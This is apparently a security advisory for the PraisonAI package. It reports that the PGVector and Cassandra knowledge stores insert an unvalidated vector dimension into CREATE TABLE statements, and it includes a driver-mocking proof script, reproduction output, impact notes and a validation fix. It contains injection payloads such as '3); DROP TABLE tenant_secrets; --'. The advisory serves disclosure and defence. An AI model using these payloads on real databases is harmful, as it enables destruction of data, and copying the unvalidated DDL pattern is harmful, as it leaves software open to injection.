PYSEC-2026-4260

# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

## Summary

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

## Technical Details

The affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.

`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name="schema")`, and `_table_name()` calls `validate_identifier(collection, name="collection name")` before returning `f"{self.schema}.praison_vec_{collection}"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:

```python cur.execute(f""" CREATE TABLE IF NOT EXISTS {table} ( id VARCHAR(255) PRIMARY KEY, content TEXT, content_hash VARCHAR(64), created_at DOUBLE PRECISION, metadata JSONB, embedding vector({dimension}) ) """) ```

No equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.

`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:

```python self._session.execute(f""" CREATE TABLE IF NOT EXISTS {name} ( id text PRIMARY KEY, content text, content_hash text, created_at double, embedding vector<float, {dimension}> ) """) ```

Passing a string such as `3>; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.

## PoV

This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.

```python #!/usr/bin/env python3 """Local PoV for vector-store dimension DDL interpolation.

The script imports PraisonAI's current source with fake PostgreSQL/Cassandra drivers, then records the SQL/CQL sent to the driver cursors. No database server is required; the assertion is that the real classes build executable DDL with an attacker-controlled dimension string. """

from __future__ import annotations

import argparse import importlib import json import subprocess import sys import types from pathlib import Path from typing import Any

class SqlRecorder: def __init__(self) -> None: self.statements: list[dict[str, Any]] = []

def execute(self, statement: str, params: Any = None) -> None: normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines()) self.statements.append({"statement": normalized, "params": params})

def __enter__(self) -> "SqlRecorder": return self

def __exit__(self, *_exc: object) -> None: return None

class FakeConnection: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder

def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder: return self.recorder

def commit(self) -> None: return None

class FakePool: def __init__(self, recorder: SqlRecorder) -> None: self.conn = FakeConnection(recorder)

def getconn(self) -> FakeConnection: return self.conn

def putconn(self, _conn: FakeConnection) -> None: return None

def closeall(self) -> None: return None

class FakeCassandraSession: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder self.keyspace: str | None = None

def execute(self, statement: str, params: Any = None) -> list[Any]: self.recorder.execute(statement, params) return []

def set_keyspace(self, keyspace: str) -> None: self.keyspace = keyspace

class FakeCluster: recorder: SqlRecorder

def __init__(self, *_args: Any, **_kwargs: Any) -> None: self.session = FakeCassandraSession(self.recorder)

def connect(self) -> FakeCassandraSession: return self.session

def shutdown(self) -> None: return None

def install_fake_pg_driver(recorder: SqlRecorder) -> None: psycopg2 = types.ModuleType("psycopg2") pool = types.ModuleType("psycopg2.pool") extras = types.ModuleType("psycopg2.extras")

pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder) # type: ignore[attr-defined] extras.RealDictCursor = object # type: ignore[attr-defined] psycopg2.pool = pool # type: ignore[attr-defined] psycopg2.extras = extras # type: ignore[attr-defined]

sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras

def install_fake_cassandra_driver(recorder: SqlRecorder) -> None: cassandra = types.ModuleType("cassandra") cluster = types.ModuleType("cassandra.cluster") auth = types.ModuleType("cassandra.auth")

FakeCluster.recorder = recorder cluster.Cluster = FakeCluster # type: ignore[attr-defined] auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object() # type: ignore[attr-defined]

sys.modules["cassandra"] = cassandra sys.modules["cassandra.cluster"] = cluster sys.modules["cassandra.auth"] = auth

def git_value(source_root: Path, *args: str) -> str: return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip()

def try_invalid_collection(store: Any) -> str: try: store.create_collection("docs; DROP TABLE blocked; --", 3) except Exception as exc: # noqa: BLE001 - output records exact guard behavior. return f"{type(exc).__name__}: {exc}" return "accepted"

def run_pgvector(source_root: Path) -> dict[str, Any]: recorder = SqlRecorder() install_fake_pg_driver(recorder) sys.path.insert(0, str(source_root / "src" / "praisonai")) mod = importlib.import_module("praisonai.persistence.knowledge.pgvector") store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False)

invalid_collection = try_invalid_collection(store) recorder.statements.clear() store.create_collection("docs", 3) safe_statements = list(recorder.statements)

recorder.statements.clear() payload = "3); DROP TABLE tenant_secrets; --" store.create_collection("docs", payload) malicious_statements = list(recorder.statements)

return { "payload": payload, "invalid_collection_control": invalid_collection, "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements), "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements), "safe_statements": safe_statements, "malicious_statements": malicious_statements, }

def run_cassandra(source_root: Path) -> dict[str, Any]: recorder = SqlRecorder() install_fake_cassandra_driver(recorder) sys.path.insert(0, str(source_root / "src" / "praisonai")) mod = importlib.import_module("praisonai.persistence.knowledge.cassandra") store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe")

invalid_collection = try_invalid_collection(store) recorder.statements.clear() store.create_collection("docs", 3) safe_statements = list(recorder.statements)

recorder.statements.clear() payload = "3>; DROP TABLE tenant_secrets; --" store.create_collection("docs", payload) malicious_statements = list(recorder.statements)

return { "payload": payload, "invalid_collection_control": invalid_collection, "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements), "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements), "safe_statements": safe_statements, "malicious_statements": malicious_statements, }

def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--source-root", type=Path, default=Path.cwd()) args = parser.parse_args() source_root = args.source_root.resolve()

output = { "source": { "repository": "MervinPraison/PraisonAI", "head": git_value(source_root, "rev-parse", "HEAD"), "describe": git_value(source_root, "describe", "--tags", "--always", "--dirty"), }, "pgvector": run_pgvector(source_root), "cassandra": run_cassandra(source_root), }

assert output["pgvector"]["invalid_collection_control"].startswith("ValueError:"), output assert output["cassandra"]["invalid_collection_control"].startswith("ValueError:"), output assert output["pgvector"]["safe_contains_drop_table"] is False, output assert output["cassandra"]["safe_contains_drop_table"] is False, output assert output["pgvector"]["malicious_contains_drop_table"] is True, output assert output["cassandra"]["malicious_contains_drop_table"] is True, output

print(json.dumps(output, indent=2, sort_keys=True))

if __name__ == "__main__": main() ```

## PoC

Save the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head:

```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 pov_vector_dimension_ddl_injection.py --source-root . ```

Decisive PGVector output:

```json { "pgvector": { "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safe_contains_drop_table": false, "malicious_contains_drop_table": true, "malicious_statements": [ { "statement": "CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)" } ] } } ```

Decisive Cassandra output:

```json { "cassandra": { "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safe_contains_drop_table": false, "malicious_contains_drop_table": true, "malicious_statements": [ { "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)" } ] } } ```

The local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector<float, 3>` without `DROP TABLE`, while malicious collection names are rejected before driver execution.

## Impact

This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.

## Suggested Fix

Validate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:

```python def validate_vector_dimension(value: object) -> int: if isinstance(value, bool) or not isinstance(value, int): raise ValueError("dimension must be an integer") if value <= 0 or value > 200000: raise ValueError("dimension is outside the supported range") return value ```

Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3>; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.

## Affected Package/Versions

Affected package: `praisonai`.

The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai >= 3.10.0, <= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.

## Advisory History

Repository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector<float, {dimension}>`, and the issue remains after the identifier hardening.

Other checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.

## References

- `src/praisonai/praisonai/persistence/knowledge/pgvector.py` - `src/praisonai/praisonai/persistence/knowledge/cassandra.py` - `src/praisonai/praisonai/persistence/knowledge/base.py` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`